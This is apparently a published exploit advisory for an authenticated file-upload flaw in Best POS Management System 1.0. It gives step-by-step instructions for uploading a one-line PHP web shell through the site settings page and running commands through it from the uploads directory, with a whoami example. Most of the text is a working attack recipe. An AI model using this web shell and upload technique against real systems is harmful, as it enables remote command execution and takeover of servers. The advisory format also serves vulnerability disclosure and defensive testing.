Best POS Management System 1.0 Shell Upload

`# Exploit Title: Authenticated Remote Code Execution on File Upload  
# Google Dork: NA  
# Date: 17/2/2023  
# Exploit Author: Ahmed Ismail (@MrOz1l)  
# Vendor Homepage:  
https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html  
# Software Link:  
https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip  
# Version: 1.0  
# Tested on: Windows 11  
# CVE : NA  
  
### Steps to Reproduce  
  
1- Login as Admin Rule  
  
2- Head to " http://localhost/kruxton/index.php?page=site_settings"  
  
3- Try to Upload an image here it will be a shell.php  
  
```  
  
shell.php  
``````  
  
<?php system($_GET['cmd']); ?>  
  
4- Head to http://localhost/kruxton/assets/uploads/  
  
5- Access your uploaded Shell  
http://localhost/kruxton/assets/uploads/1676627880_shell.png.php?cmd=whoami  
`